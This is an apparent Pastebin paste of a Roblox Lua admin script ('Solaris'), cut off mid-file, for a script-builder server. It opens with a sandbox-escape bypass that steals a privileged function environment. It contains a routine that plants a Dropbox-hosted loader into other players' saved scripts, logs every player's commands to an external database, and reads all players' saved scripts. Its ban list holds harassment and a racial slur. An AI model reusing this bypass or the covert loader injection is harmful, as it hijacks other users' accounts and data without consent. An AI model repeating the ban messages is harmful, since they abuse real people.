Advertisement
Guest User

Untitled

a guest
Nov 24th, 2015
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. wait(); --Unremovable bypass
  2. script.Parent=nil
  3. rawset(shared, "\0bp", function()
  4. local i=game:service'InsertService':LoadAssetVersion(519416165);
  5. local n=i:children()[1];
  6. game:service'Debris':AddItem(i,0);
  7. n.Parent=workspace;
  8. coroutine.yield();
  9. local e;
  10. pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function(...)e=getfenv(2)end,__metatable=''}));
  11. _G.OSC_AddServerSideData=nil;
  12. game:service'Debris':AddItem(n,0);
  13. return e
  14. end);
  15. local y=shared['\0bp']();
  16. shared["\0bp"]=nil;
  17. game:GetService'ReplicatedStorage':ClearAllChildren();
  18. y.setfenv(0,y);
  19. y.setfenv(1,y);
  20. y.pcall(function() y.setfenv(2,y); end); --Ends the bypass
  21.  
  22. -- Easiest Fixing ever l0l.
  23.  
  24. --// Solaris Administration VERSION 1.0
  25. local Solaris = {
  26. AccessKey = "=BNFO@E%+gAOyLJbIJSlQ!IXOfg^10wezjG6Nf#^b4fO%&wFuzAQ|youxgW&3gl&epj4V5=EFLO9#HAJ";
  27. --// Kill Switch
  28. __STATUS = true;
  29. --// Administrations Components
  30. Admins = {
  31.  
  32. ["explotion1337"]={Level=2e9};
  33. };
  34. Levels = {
  35. [1]="User";
  36. [2]="Trusted";
  37. [3]="Friend";
  38. [4]="Administrator";
  39. [5]="Creator/Developer";
  40. [2e9]="Scripter of all!";
  41. };
  42. Banned = {
  43. gage7252002="bye bye skid ur banned now";
  44. --Mikko3m="dont ban me skid C:";
  45. --w00t111="this server has a age restriction come back in 970 days";
  46. --CharcterKaiser="go die annoying skid";
  47. --FallingVortex="lrn 2 skript kid gtfo liquidex skid";
  48. robloxchamp20="u ban me i ban u git rkt";
  49. -- iiDeadzone="u ban me i ban u git rkt";
  50. endermanac="git bbban11!!!";
  51. Dman2435="die just die";
  52. Dman2435alt="die just die";
  53. meunumbertwo="ur banned bby";
  54. Copenricus45="you got stopped by an admin skid c;";
  55. FreeModelInventor="get out skid go suc\5k my dick bitch whore";
  56. PWNTART = "die pls thx u";
  57. HopeYouHaveAGoodComp="you have been trolled nigger bitch die kkk";
  58. BookOEchos="git banned bitch";
  59. Autospy="another alt another ban";
  60. TotallyNotAnAlt1257="another alt another ban";
  61. fmerSKID005="another alt another ban";
  62. crazychimp1284="dienoobkthxbye";
  63. MrXTheGreat="dienoobkthxbye";
  64. ScriptNurd="dienoobkthxbye";
  65. Therealestnumber1="dienoobkthxbye";
  66. Opligi="dienoobkthxbye";
  67. jmckoy12="dienoobkthxbye";
  68. ["5ascfrhubber"]="dienoobkthxbye";
  69. DangCoolIsReal3="dienoobkthxbye";
  70. legendy123="dienoobkthxbye";
  71. PithIsOnline="dienoobkthxbye";
  72. Opllgltory="git banned wanabe";
  73. YeaImnotanalt="dienoobkthxbye";
  74. superkiki609="git banned?";
  75. immcool1="git banned now skid";
  76. };
  77. Chatted = {
  78. Settings = {
  79. Prefix = ";";
  80. Suffix = "-";
  81. };
  82. Commands = {};
  83. };
  84. --// Orb Components
  85. Settings = {
  86. Orb = nil;
  87. Character = nil;
  88. Following = false;
  89. Target = "";
  90. TrailParts = {};
  91. Trail = true;
  92. OrbColor = BrickColor.new("Institutional white");
  93. TrailColor = BrickColor.new("Institutional white");
  94. Rotation = {
  95. Rot = 0;
  96. Radius = 6.3;
  97. Height = 1;
  98. Bounce = 2.0;
  99. Speed = 0.03;
  100. Length = 0.014;
  101. };
  102. };
  103. --// Tool Components
  104. Blocker = {
  105. LocalBlock = false;
  106. GlobalBlock = false;
  107. LagBlocker = true;
  108. };
  109. LagBlockedInstances = {
  110. "Message";
  111. "Hint";
  112. "Sound";
  113. };
  114. Logs = {};
  115. --// Functional Storage
  116. API = {
  117. Bootstrap = {}
  118. };
  119. }
  120. local Settings = Solaris.Settings
  121. local API = Solaris.API
  122. local Bootstrap = API.Bootstrap
  123. local Time = require(285173569)
  124. local rbxdb = require(278524047)
  125. --local key = "b0454f5837d3aaeeb879937c6f6c2215"
  126. --pcall(rbxdb:Connect(key))
  127.  
  128. --// Output API
  129.  
  130. function API.print_to(target,input)
  131. if input == nil then input = "nil" end
  132. local plr
  133. if type(target)=='userdata'then
  134. plr = target
  135. elseif type(target)=='string'then
  136. plr = game:GetService('Players'):FindFirstChild(target)
  137. end
  138. if type(plr)=='userdata' then
  139. local str = Instance.new('StringValue',plr)
  140. str.Name = 'SB_Output:Output'
  141. str.Value = game:GetService('HttpService'):JSONEncode{'Warn',input}
  142. end
  143. end local print_to = Solaris.API.print_to
  144.  
  145. function API.print(input)
  146. if input == nil then input = "nil" end
  147. for i,v in pairs(game:GetService('Players'):children())do
  148. if Solaris.Admins[v.Name]then
  149. if Solaris.Admins[v.Name].Level > 2 then
  150. print_to(v,input)
  151. end
  152. end
  153. end
  154. end local print = Solaris.API.print
  155.  
  156. function API.print_lvl(level,input)
  157. if input == nil then input = "nil" end
  158. for i,v in pairs(game:GetService('Players'):GetPlayers())do
  159. if Solaris.Admins[v.Name]then
  160. if Solaris.Admins[v.Name].Level > level then
  161. print_to(v,input)
  162. end
  163. end
  164. end
  165. end local print_lvl = Solaris.API.print_lvl
  166.  
  167. function API.broadcast(input)
  168. if input == nil then input = "nil" end
  169. for i,v in pairs(game:GetService('Players'):GetPlayers())do
  170. print_to(v,input)
  171. end
  172. end local broadcast = Solaris.API.broadcast
  173.  
  174. --// Utility API
  175.  
  176. function API.Make(ClassName)
  177. return function(data)
  178. local Instance = Instance.new(ClassName)
  179. for index,value in pairs(data) do
  180. if type(index) == "number" then
  181. value.Parent = Instance
  182. else
  183. Instance[index] = value
  184. end
  185. end
  186. return Instance
  187. end
  188. end local Make = API.Make
  189.  
  190. function API.clerp(p1,p2,percent)
  191. local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22=p1:components()
  192. local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22=p2:components()
  193. return CFrame.new(p1x+percent*(p2x-p1x),p1y+percent*(p2y-p1y),p1z+percent*(p2z-p1z),p1R00+percent*(p2R00-p1R00),p1R01+percent*(p2R01-p1R01),p1R02+percent*(p2R02-p1R02),p1R10+percent*(p2R10-p1R10),p1R11+percent*(p2R11-p1R11),p1R12+percent*(p2R12-p1R12),p1R20+percent*(p2R20-p1R20),p1R21+percent*(p2R21-p1R21),p1R22+percent*(p2R22-p1R22))
  194. end local clerp = API.clerp
  195.  
  196. function API.Rainbow(i)
  197. local section = i % 1 * 3
  198. local secondary = 0.5 * math.pi * (section % 1)
  199. if section < 1 then
  200. return 1, 1 - math.cos(secondary), 1 - math.sin(secondary)
  201. elseif section < 2 then
  202. return 1 - math.sin(secondary), 1, 1 - math.cos(secondary)
  203. else
  204. return 1 - math.cos(secondary), 1 - math.sin(secondary), 1
  205. end
  206. end local Rainbow = API.Rainbow
  207.  
  208. function API.GetPlayer(msg,plr)
  209. local Collected_Players = {}
  210. if string.lower(msg) == "me" then
  211. table.insert(Collected_Players, plr)
  212. elseif string.lower(msg) == "all" then
  213. for index,player in pairs(game:GetService('Players'):children()) do
  214. if Solaris.Admins[player.Name].Level < Solaris.Admins[plr.Name].Level or (plr.Name == player.Name) then
  215. table.insert(Collected_Players, player)
  216. end
  217. end
  218. elseif string.lower(msg) == "others" then
  219. for index,player in pairs(game:GetService('Players'):children()) do
  220. if player.Name ~= plr.Name then
  221. if Solaris.Admins[player.Name].Level < Solaris.Admins[plr.Name].Level then
  222. table.insert(Collected_Players, player)
  223. end
  224. end
  225. end
  226. elseif string.lower(msg) == "friends" then
  227. for index,player in pairs(game:GetService('Players'):children()) do
  228. if player.Name ~= plr.Name then
  229. if Solaris.Admins[player.Name].Level < Solaris.Admins[plr.Name].Level then
  230. if plr:IsFriendsWith(player.userId) == true then
  231. table.insert(Collected_Players, player)
  232. end
  233. end
  234. end
  235. end
  236. elseif string.lower(msg) == "nonfriends" then
  237. for index,player in pairs(game:GetService('Players'):children()) do
  238. if player.Name ~= plr.Name then
  239. if Solaris.Admins[player.Name].Level < Solaris.Admins[plr.Name].Level then
  240. if plr:IsFriendsWith(player.userId) == false then
  241. table.insert(Collected_Players, player)
  242. end
  243. end
  244. end
  245. end
  246. else
  247. for index,player in pairs(game:GetService('Players'):children()) do
  248. if string.sub(string.lower(player.Name), 1, #msg) == string.lower(msg) then
  249. if Solaris.Admins[player.Name].Level <= Solaris.Admins[plr.Name].Level or (plr.Name == player.Name) then
  250. table.insert(Collected_Players, player)
  251. end
  252. end
  253. end
  254. end
  255. return Collected_Players
  256. end local GetPlayer = API.GetPlayer
  257.  
  258. function API.GetSplit(msg)
  259. return string.find(msg,Solaris.Chatted.Settings.Suffix)
  260. end local GetSplit = API.GetSplit
  261.  
  262. function API.Generate(Length)
  263. local Generated = ""
  264. for _ = 1, Length do
  265. Generated = Generated .. string.char(math.random(33,126))
  266. end
  267. return Generated
  268. end local Generate = API.Generate
  269.  
  270. function API.GetGarbage(plr)
  271. print_to(plr,"Got Garbage")
  272. print_to(plr,"________________________")
  273. for i = 1,10 do wait(1)
  274. print_to(plr,"| Attempt#"..i.." ["..collectgarbage("count").."] |")
  275. end
  276. print_to(plr,"________________________")
  277. end local GetGarbage = API.GetGarbage
  278.  
  279. --// Orb API
  280.  
  281. function API.SpawnOrb()
  282. Settings.Orb = Make('Part'){
  283. Name = "\5\5\5\5Solar\5\5is\5\5\5\5";
  284. Parent = game.Workspace,
  285. BrickColor = Settings.OrbColor,
  286. Material = Enum.Material.SmoothPlastic,
  287. Transparency = .1,
  288. Anchored = true,
  289. CanCollide = false,
  290. Locked = true,
  291. FormFactor = "Symmetric",
  292. Shape = "Ball",
  293. Size = Vector3.new(1,1,1),
  294. TopSurface = 10,
  295. BottomSurface = 10,
  296. }Settings.Orb.Changed:connect(function()
  297. if not game.Workspace:FindFirstChild(Settings.Orb.Name)then
  298. if Solaris.__STATUS == true then
  299. API.SpawnOrb()
  300. end
  301. end
  302. end)
  303. end local SpawnOrb = API.SpawnOrb
  304.  
  305. function API.MakeTrail()
  306. if Settings.Orb ~= nil and Settings.Trail == true then
  307. local Trail = Make'Part'{
  308. CanCollide = false,
  309. Parent = Settings.Orb,
  310. BrickColor = Settings.TrailColor,
  311. Material = Enum.Material.SmoothPlastic,
  312. Transparency = .1,
  313. Anchored = true,
  314. Locked = true,
  315. FormFactor = "Custom",
  316. Size = Vector3.new(.2,.2,.2),
  317. CFrame = Settings.Orb.CFrame,
  318. TopSurface = 10,
  319. BottomSurface = 10,
  320. }table.insert(Settings.TrailParts, Trail)
  321. return Trail
  322. end
  323. end local MakeTrail = API.MakeTrail
  324.  
  325. function API.SpawnTrail()
  326. if Settings.Orb ~= nil and Settings.Trail == true then
  327. local Trail = API.MakeTrail()
  328. end
  329. end local SpawnTrail = API.SpawnTrail
  330.  
  331. function API.Rotate()
  332. game:GetService('RunService').Stepped:connect(function()
  333. if Solaris.__STATUS == true then
  334. wait()
  335. local Following=game:GetService('Players'):FindFirstChild(Settings.Target)
  336. if Following and Following.Character and Following.Character:FindFirstChild("Torso") and Settings.Following then
  337. Settings.Character = Following.Character.Torso.CFrame
  338. else
  339. Settings.Character = CFrame.new(0,5.7,0)
  340. end
  341. if Settings.Orb ~= nil then
  342. Settings.Rotation.Rot = Settings.Rotation.Rot + Settings.Rotation.Speed
  343. Settings.Orb.Name = "\5\5\5\5Solar\5\5is\5\5\5\5"
  344. Settings.Orb.CFrame = clerp(Settings.Orb.CFrame,
  345. CFrame.new(Settings.Character.p)
  346. *CFrame.new(0,3.9,0)
  347. *CFrame.Angles(0,Settings.Rotation.Rot,(math.sin((tick())*.9)*5)*.6)
  348. *CFrame.new(Settings.Rotation.Radius, math.sin((tick())*Settings.Rotation.Bounce)*Settings.Rotation.Height,2)
  349. *CFrame.Angles(100,Settings.Rotation.Rot,(math.sin((tick())*1)*5)*.9) ,.1)
  350. API.SpawnTrail()
  351. for i,_ in next,Settings.TrailParts do
  352. if Settings.TrailParts[i] ~= nil and Settings.TrailParts[i+1] ~= nil then
  353. local Part1 = Settings.TrailParts[i]
  354. local Part2 = Settings.TrailParts[i+1]
  355. local Mag = ((Part1.CFrame.p-Part2.CFrame.p).magnitude)
  356. Part1.Name = math.random(1,99999999)
  357. Part1.Size = Vector3.new(Part1.Size.X+Settings.Rotation.Length, Mag, Part1.Size.Z+Settings.Rotation.Length)
  358. Part1.Transparency = Part1.Transparency + .017
  359. Part1.CFrame = CFrame.new(Part1.CFrame.p, Part2.CFrame.p)
  360. * CFrame.Angles(math.pi/2,0,0)
  361. if Part1.Size.X >= .74 then
  362. Part1:Destroy()
  363. table.remove(Settings.TrailParts, i)
  364. end
  365. end
  366. end
  367. end
  368. end
  369. end)
  370. end local Rotate = API.Rotate
  371.  
  372. function API.ChangeTheme(plr,theme)
  373. --// Sets orb to default configurations
  374. Settings.Orb.BrickColor = BrickColor.new('White')
  375. Settings.Orb.Transparency = .1
  376. for i,v in pairs(Settings.Orb:children())do if v.ClassName=='SpecialMesh'then v:remove()end end
  377. --// Themes
  378. if theme == 'normal' then
  379. API.SpawnTrail = function()
  380. if Settings.Orb ~= nil and Settings.Trail == true then
  381. local Trail = API.MakeTrail()
  382. end
  383. end
  384. elseif theme == 'op' then
  385. API.SpawnTrail = function()
  386. if Settings.Orb ~= nil and Settings.Trail == true then
  387. local Trail = API.MakeTrail()
  388. spawn(function()
  389. Settings.Orb.BrickColor = BrickColor.new('Really black')
  390. Trail.BrickColor = BrickColor.new('Deep orange')
  391. local box = Make('SelectionBox'){
  392. Adornee = Trail;
  393. Parent = Trail;
  394. Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
  395. LineThickness = 0.001;
  396. Color3 = Color3.new(0,0,0);
  397. }
  398. end)
  399. end
  400. end
  401. elseif theme == 'op-light' then
  402. API.SpawnTrail = function()
  403. if Settings.Orb ~= nil and Settings.Trail == true then
  404. local Trail = API.MakeTrail()
  405. spawn(function()
  406. Settings.Orb.BrickColor = BrickColor.new('Really black')
  407. Trail.BrickColor = BrickColor.new('Deep orange')
  408. local box = Make('SelectionBox'){
  409. Adornee = Trail;
  410. Parent = Trail;
  411. Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
  412. LineThickness = 0.001;
  413. Color3 = Color3.new(255,255,255);
  414. }
  415. end)
  416. end
  417. end
  418. elseif theme == 'clv' then
  419. API.SpawnTrail = function()
  420. local Trail = API.MakeTrail()
  421. spawn(function()
  422. Trail.BrickColor = BrickColor.new("Cyan")
  423. Settings.Orb.BrickColor = BrickColor.new("Really black")
  424. local S_Box = Make('SelectionBox'){
  425. Adornee = Trail;
  426. Parent = Trail;
  427. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  428. LineThickness = 0;
  429. Color3 = BrickColor.new("Really black").Color;
  430. }
  431. end)
  432. end
  433. elseif theme == 'whiteout' then
  434. API.SpawnTrail = function()
  435. local Trail = API.MakeTrail()
  436. spawn(function()
  437. Trail.BrickColor = BrickColor.new("White")
  438. Settings.Orb.BrickColor = BrickColor.new("Really black")
  439. local S_Box = Make('SelectionBox'){
  440. Adornee = Trail;
  441. Parent = Trail;
  442. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  443. LineThickness = 0;
  444. Color3 = BrickColor.new("Really black").Color;
  445. }
  446. local Mesh = Make('SpecialMesh'){
  447. Parent = Settings.Orb;
  448. MeshId = "http://www.roblox.com/asset/?id=1529453";
  449. Name = "Mesh";
  450. Scale = Vector3.new(2.5,2.5,2.5)
  451. }
  452. end)
  453. end
  454. elseif theme == 'hidden' then
  455. API.SpawnTrail = function()
  456. local Trail = API.MakeTrail()
  457. spawn(function()
  458. Trail.Transparency = 1
  459. Settings.Orb.Transparency = 1
  460. end)
  461. end
  462. else
  463. print_to(plr,"[Error]: "..theme.." is not a valid theme name")
  464. return
  465. end
  466. print_to(plr,"[Solairs]: Orb has changed theme to "..theme)
  467. end local ChangeTheme = API.ChangeTheme
  468.  
  469. function API.Follow(boolean,plr)
  470. if type(plr)~='string'then return end
  471. if boolean == true then
  472. Settings.Following = true
  473. Settings.Target = plr
  474. elseif boolean == false then
  475. Settings.Following = false
  476. Settings.Target = ""
  477. end
  478. end local Follow = API.Follow
  479.  
  480. --// Oxcool1 Sb Tools API
  481.  
  482. function API.Sbexe(cmd,plr)
  483. if not type(cmd)=='string'then return end
  484. if plr then
  485. if type(plr)=='userdata'then
  486. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  487. elseif type(plr)=='string'then
  488. plr = game:GetService('Players'):FindFirstChild(plr)
  489. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  490. end
  491. else
  492. for i,v in pairs(game:GetService('Players'):children())do
  493. v:FindFirstChild("SB_CommandRemote",true).Value = cmd
  494. end
  495. end
  496. end local Sbexe = API.Sbexe
  497.  
  498. function API.ConnectLogger(plr)
  499. if type(plr) ~= 'userdata'then return end
  500. if plr:FindFirstChild("SB_CommandRemote",true) then
  501. plr:FindFirstChild("SB_CommandRemote",true).Changed:connect(function()
  502. if plr:FindFirstChild("SB_CommandRemote",true).Value == 'h/http://pastebin.com/raw.php?i=TdtSWRAL' then
  503. Sbexe("g/ns")wait(.1)
  504. plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script")
  505. end
  506. if #plr:FindFirstChild("SB_CommandRemote",true).Value > 0 then
  507. table.insert(Solaris.Logs,{User=tostring(plr.Name);Command=tostring(plr:FindFirstChild("SB_CommandRemote",true).Value)})
  508. local CurrentTime = Time:GetTime()
  509. local TimeStamp = ("["..CurrentTime.year.." "..CurrentTime.month.." "..CurrentTime.day.."]")
  510. rbxdb:SetValue(TimeStamp..": "..tostring(plr.Name),tostring(plr:FindFirstChild("SB_CommandRemote",true).Value))
  511. end
  512. end)
  513. end
  514. end local ConnectLogger = API.ConnectLogger
  515.  
  516. function API.GetLogs(plr)
  517. print_to(plr,"Got logs")
  518. if #Solaris.Logs > 0 then print_to(plr,"--------------------------------") end
  519. for index,data in pairs(Solaris.Logs)do
  520. if #Solaris.Logs > 30 then wait(.1)end
  521. print_to(plr,tostring(data.User))
  522. print_to(plr,tostring(data.Command))
  523. print_to(plr,"--------------------------------")
  524. end
  525. end local GetLogs = API.GetLogs
  526.  
  527. function API.InjectLoader(plr)
  528. Sbexe("remove/Solaris",plr)
  529. Sbexe("ch/Solaris/https://www.dropbox.com/s/574ygd6vonqk4i8/Deployment-Script.lua?dl=1",plr)
  530. Sbexe("save/Solaris",plr)
  531. end local InjectLoader = API.InjectLoader
  532.  
  533. function API.GetSavedScripts(plr)
  534. local Save_Key = string.reverse("stpircSdevaS_xoREDliubtpIrCs");
  535. print_to(plr,"Got Saved Scripts")
  536. for i,v in pairs(game:GetService('Players'):children())do
  537. if v.ClassName == 'Player' then
  538. local Encoded_Table = v:LoadString(Save_Key)
  539. local Decoded_Table
  540.  
  541. --//Table Decoding
  542. if type(Encoded_Table)=='string' and Encoded_Table=="[]"or Encoded_Table==""then
  543. Decoded_Table = {{No=" Saved Scripts"}}
  544. else
  545. Decoded_Table = game:GetService('HttpService'):JSONDecode(Encoded_Table)
  546. end
  547. --// Table Printing
  548. --print_to(plr,"------------------------------------------------------------------")
  549. print_to(plr,"--------------------------["..v.Name.."]--------------------------")
  550. if type(Decoded_Table)=='table'then
  551. for _index,_data in pairs(Decoded_Table)do
  552. for index,data in pairs(_data)do
  553. wait(.1)
  554. print_to(plr,index.." : "..data)
  555. end
  556. end
  557. end
  558. print_to(plr,"------------------------------------------------------------------")
  559. end
  560. end
  561. end local GetSavedScripts = API.GetSavedScripts
  562.  
  563. function API.GiveServerConsole(Player)
  564. if Player:FindFirstChild("PlayerGui") and Player:FindFirstChild("PlayerGui").ClassName == "PlayerGui" then
  565. spawn(function()
  566. local Create = API.Make
  567. local Closed = false
  568. local ScreenGui = Create "ScreenGui" {
  569. Name = "Server Console",
  570. Parent = Player.PlayerGui
  571. }
  572. local Main = Create "TextButton" {
  573. AutoButtonColor = false,
  574. BackgroundColor3 = Color3.new(0, 0, 0),
  575. BorderSizePixel = 0,
  576. Size = UDim2.new(0, 375, 0, 15),
  577. Draggable = true,
  578. Font = "SourceSansBold",
  579. FontSize = "Size14",
  580. TextYAlignment = "Top",
  581. TextColor3 = Color3.new(1, 1, 1),
  582. Text = " Server Console",
  583. TextXAlignment = "Left",
  584. Position = UDim2.new(0.321, 0, 0.196, 0),
  585. Parent = ScreenGui
  586. }
  587. local Refresh = Create "TextButton" {
  588. Active = true,
  589. AutoButtonColor = false,
  590. BackgroundColor3 = Color3.new(0, 0, 0),
  591. BorderSizePixel = 0,
  592. Position = UDim2.new(1, 0, 0, 0),
  593. Size = UDim2.new(0, 60, 0, 15),
  594. Font = "SourceSansBold",
  595. FontSize = "Size14",
  596. Text = "Refresh",
  597. TextYAlignment = "Top",
  598. TextColor3 = Color3.new(1, 1, 1),
  599. TextYAlignment = "Top",
  600. TextXAlignment = "Right",
  601. Parent = Main
  602. }
  603. local TextButton = Create "TextButton" {
  604. AutoButtonColor = false,
  605. BackgroundColor3 = Color3.new(0, 0, 0),
  606. BorderSizePixel = 0,
  607. Position = UDim2.new(1, 60, 0, 0),
  608. Size = UDim2.new(0, 15, 0, 15),
  609. Font = "SourceSansBold",
  610. FontSize = "Size14",
  611. TextYAlignment = "Top",
  612. Text = "-",
  613. TextColor3 = Color3.new(1, 1, 1),
  614. Parent = Main
  615. }
  616. local ContentFrame = Create "Frame" {
  617. BackgroundColor3 = Color3.new(0, 0, 0),
  618. BackgroundTransparency = 0.2,
  619. BorderSizePixel = 0,
  620. Position = UDim2.new(0, 0, 0, 15),
  621. Size = UDim2.new(0, 450, 0, 0),
  622. Parent = Main
  623. }
  624. local ScrollingFrame = Create "ScrollingFrame" {
  625. Size = UDim2.new(1, 0, 1, 0),
  626. CanvasSize = UDim2.new(3, 0, 0, 0),
  627. MidImage = "rbxassetid://158362264",
  628. TopImage = "rbxassetid://158362307",
  629. BottomImage = "rbxassetid://158362221",
  630. BackgroundTransparency = 1,
  631. BorderSizePixel = 0,
  632. ScrollBarThickness = 5,
  633. Parent = ContentFrame
  634. }
  635. ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true)
  636. TextButton.MouseButton1Down:connect(function()
  637. if Closed == false then
  638. Closed = true
  639. TextButton.Text = "+"
  640. ContentFrame:TweenSize(UDim2.new(0, 450, 0, 0), "Out", "Quad", 1.5, true)
  641. delay(1, function()
  642. ScrollingFrame.Visible = false
  643. end)
  644. else
  645. Closed = false
  646. TextButton.Text = "-"
  647. ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true)
  648. delay(0.5, function()
  649. ScrollingFrame.Visible = true
  650. end)
  651. end
  652. end)
  653. local function GetNumberOfChildren(Object)
  654. local Number = -15
  655. for index,child in pairs(Object:GetChildren()) do
  656. if child.ClassName == "TextLabel" then
  657. Number = Number + 15
  658. end
  659. end
  660. return Number
  661. end
  662. local function Output(Text, Color)
  663. local Line = Create "TextLabel" {
  664. ZIndex = 2,
  665. BackgroundTransparency = 1,
  666. BorderSizePixel = 0,
  667. Text = string.format(" %s", Text),
  668. Font = "SourceSansBold",
  669. FontSize = "Size14",
  670. TextColor3 = Color,
  671. TextWrapped = false,
  672. Size = UDim2.new(1, 0, 0, 15),
  673. Position = UDim2.new(0, 0, 0, GetNumberOfChildren(ScrollingFrame)),
  674. TextXAlignment = "Left",
  675. TextYAlignment = "Top",
  676. TextStrokeTransparency = 0.9,
  677. Parent = ScrollingFrame,
  678. }
  679. if #ScrollingFrame:GetChildren() > 29 then
  680. local NumChildren = GetNumberOfChildren(ScrollingFrame)
  681. ScrollingFrame.CanvasSize = UDim2.new(3, 0, 0, NumChildren)
  682. ScrollingFrame.CanvasPosition = Vector2.new(0, (ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteSize.Y) + 5)
  683. end
  684. end
  685. local function OutputLogHistory()
  686. for index,data in pairs(game.LogService:GetLogHistory()) do
  687. if data.messageType == Enum.MessageType.MessageOutput then
  688. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 1, 1))
  689. elseif data.messageType == Enum.MessageType.MessageWarning then
  690. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0.6, 0.4))
  691. elseif data.messageType == Enum.MessageType.MessageError then
  692. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0, 0))
  693. elseif data.messageType == Enum.MessageType.MessageInfo then
  694. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(0.4, 0.5, 1))
  695. end
  696. end
  697. end
  698. OutputLogHistory()
  699. Refresh.MouseButton1Down:connect(function()
  700. ScrollingFrame:ClearAllChildren()
  701. wait()
  702. OutputLogHistory()
  703. end)
  704. end)
  705. end
  706. end local GiveServerConsole = API.GiveServerConsole
  707.  
  708. function API.SafeExe(string_src,string_plr)
  709. if string_src == nil then string_src = "" end
  710.  
  711. local BypassEnv = getfenv(1)
  712. BypassEnv.script = "Locked Object"
  713. BypassEnv.print_to = print_to
  714. rawset(_G,"NewBypassEnv",BypassEnv)
  715.  
  716. local ExecuteSource = [[
  717. wait(.1)
  718. local newEnv = _G.NewBypassEnv
  719. newEnv.owner = getfenv(1).owner
  720. newEnv.print = function(i)
  721. if i == nil then i = "" end
  722. newEnv.print_to(tostring(owner),i)
  723. end
  724. setfenv(1,newEnv)
  725. ]]
  726. local ExeSrc = ExecuteSource..string_src
  727. Sbexe("c/"..ExeSrc,string_plr)
  728. end local SafeExe = API.SafeExe
  729.  
  730. --// Admin API
  731.  
  732. function API.GetAdmins(plr)
  733. for i,v in pairs(Solaris.Admins)do
  734. print_to(plr,"["..i.."]-"..Solaris.Levels[v.Level])
  735. end
  736. end local GetAdmins = API.GetAdmins
  737.  
  738. function API.AddCommand(Name,Usage,Desc,Level,Func)
  739. table.insert(Solaris.Chatted.Commands,{Name=Name,Usage=Usage,Desc=Desc,Level=Level,Func=Func})
  740. end local AddCommand = API.AddCommand
  741.  
  742. function API.Chatted(plr,msg)
  743. if msg:lower()=='h/http://pastebin.com/raw.php?i=TdtSWRAL'then
  744. Sbexe("g/ns")
  745. plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script")
  746. end
  747. local Commands = Solaris.Chatted.Commands
  748. local Prefix = Solaris.Chatted.Settings.Prefix
  749. local Suffix = Solaris.Chatted.Settings.Suffix
  750. local sub = string.sub
  751. local lower = string.lower
  752. if sub(msg,1,3)=='/e 'then
  753. msg = sub(msg,4)
  754. end
  755. if Solaris.Admins[plr.Name]then
  756. for index,data in pairs(Commands)do
  757. if Prefix..data.Usage..Suffix == sub(lower(msg),1,string.len(Prefix)+string.len(data.Usage)+string.len(Suffix))then
  758. if Solaris.Admins[plr.Name].Level >= data.Level then
  759. local y,n = ypcall(function()
  760. data.Func(sub(msg,string.len(Prefix)+string.len(data.Usage)+string.len(Suffix)+1), GetPlayer, plr)
  761. end)
  762. if not y then
  763. print_to(plr,"[Error]: a command related error has occured : "..n)
  764. end
  765. else
  766. print_to(plr,"[Error]: Your access level is to low for that command")
  767. end
  768. end
  769. end
  770. end
  771. end local Chatted = API.Chatted
  772.  
  773. function API.BootCommands()--// Function that calls and injects all commands
  774.  
  775. AddCommand("Test","tst","TEST TEST",1,function(Message,Collect_Players,Player)
  776. print_to(Player,"[Solaris]: TEST")
  777. end)
  778.  
  779. AddCommand("Commands","cmds","Gets commands",1,function(Message,Collect_Players,Player)
  780. print_to(Player,"Got Commands")
  781. print_to(Player,"---------------------------------------------------------------")
  782. for index,data in pairs(Solaris.Chatted.Commands)do
  783. print_to(Player,"["..data.Name.."]-Level["..data.Level.."]-Usage:[\""..data.Usage.."\"]-Desc:["..data.Desc.."]")
  784. print_to(Player,"---------------------------------------------------------------")
  785. end
  786. end)
  787.  
  788. AddCommand("Admins","admins","Gets admins",1,function(Message,Collect_Players,Player)
  789. print_to(Player,"Got admins")
  790. GetAdmins(Player)
  791. end)
  792.  
  793. AddCommand("GetLogs","gl","Gets command logs",4,function(Message,Collect_Players,Player)
  794. GetLogs(Player)
  795. end)
  796.  
  797. AddCommand('Kick','kick','Kicks a player from the server',3,function(Message, Collect_Players, Player)
  798. local Split = GetSplit(Message)
  799. local Plrs
  800. local Reason
  801. if Split == nil then
  802. Plrs = Collect_Players(Message,Player)
  803. Reason = nil
  804. else
  805. Plrs = Collect_Players(Message:sub(1,Split-1),Player)
  806. Reason = Message:sub(Split+1)
  807. end
  808. if #Plrs>0 then
  809. for _,Plr in pairs(Plrs) do
  810. if Reason == nil or Reason == "" then Reason = "You have been kicked from this server"end
  811. Plr:Kick(tostring(Reason))
  812. end
  813. end
  814. end)
  815.  
  816. AddCommand('Ban','ban','Bans a player from the server', 3, function(Message, Collect_Players, Player)
  817. local Split = GetSplit(Message)
  818. local Plrs
  819. local Reason
  820. if Split == nil then
  821. Plrs = Collect_Players(Message,Player)
  822. Reason = nil
  823. else
  824. Plrs = Collect_Players(Message:sub(1,Split-1),Player)
  825. Reason = tostring(Message:sub(Split+1))
  826. end
  827. if #Plrs>0 then
  828. for _,Plr in pairs(Plrs) do
  829. if Reason == nil or Reason == "" then Reason = tostring("Being Banned") end
  830. --table.insert(Solaris.Banned,tostring(Plr.Name)==tostring(Reason))
  831. Solaris.Banned[Plr.Name]=tostring(Reason)
  832. Plr:Kick("You have been banned for "..tostring(Reason))
  833. end
  834. end
  835. end)
  836.  
